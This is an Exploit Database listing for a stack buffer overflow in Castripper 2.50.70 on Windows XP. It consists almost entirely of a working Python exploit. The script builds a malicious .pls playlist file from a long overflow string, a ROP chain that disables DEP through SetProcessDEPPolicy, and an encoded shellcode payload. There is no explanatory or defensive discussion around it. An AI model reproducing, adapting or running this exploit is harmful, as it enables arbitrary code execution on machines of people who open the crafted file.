Castripper 2.50.70 – ‘.pls’ DEP Bypass

• Exploit Database
• 14 阅读

• 作者： Morteza Hashemi
  日期： 2013-12-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/30244/

• # Castripper 2.50.70 (.pls) exploit (Stack buffer overflow/DEP bypass)
  # Download: http://www.mini-stream.net/castripper/
  # Tested on Wind0ws XP SP3 DEP:OptOut
  # Author: Lu_c_fer ------>>> Lu_c_fer@aol.com
  
  # All ROP gadgets are from the APP's DLLs except for the hardcoded SetProcessDEPPolicy() address
  
  
  
  import struct
  
  f = open("Eploit_SetProcessDEPPolicy.pls", "w")
  
  crash = "\x41"*26076
  
  rop = struct.pack("<I", 0x10010e0d) # POP EDX # RETN
  rop += struct.pack("<I", 0x42424242)# junk
  rop += struct.pack("<I", 0x42424242)# junk
  
  #-----------------------Setting the pointer into EBP---------------------
  rop += struct.pack("<I", 0x1003c03c)# POP EBP # RETN
  rop += struct.pack('<L', 0x7c862144)# PTR to SetProcessDEPPolicy() 
  
  #-----------------------EBX is will be 0x00000000
  rop += struct.pack('<L', 0x1001ab37)# POP EBX # RETN [CRfilter03.dll] 
  rop += struct.pack('<L', 0xFFFFFFFF)# 0x00000000 
  rop += struct.pack('<L', 0x10010f68)# INC EBX # CMP BYTE PTR SS:[EBP+5B],BL # RETN
  
  
  rop += struct.pack('<L', 0x10023b57)# POP EDI # RETN [CRfilter03.dll] 
  rop += struct.pack('<L', 0x10041e68)# skip 4 bytes [CRfilter03.dll]
  rop += struct.pack('<L', 0x10010fb5)# POP ESI # RETN
  rop += struct.pack('<L', 0x10041e68)
  rop += struct.pack('<L', 0x1001e4e0)# PUSHAD # RETN [CRfilter03.dll] 
  
  
  
  sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
  "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
  "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
  "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
  "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
  "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
  "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
  "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
  "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
  "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
  "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
  "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
  "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
  "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
  "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
  "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
  "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
  "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
  "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
  "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
  "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
  "\x51\x42\x4c\x42\x43\x43\x30\x41\x41")
  
  junk = "\x43"*5000
  
  payload = crash + rop + sc + junk 
  
  f.write(payload)
  
  f.close()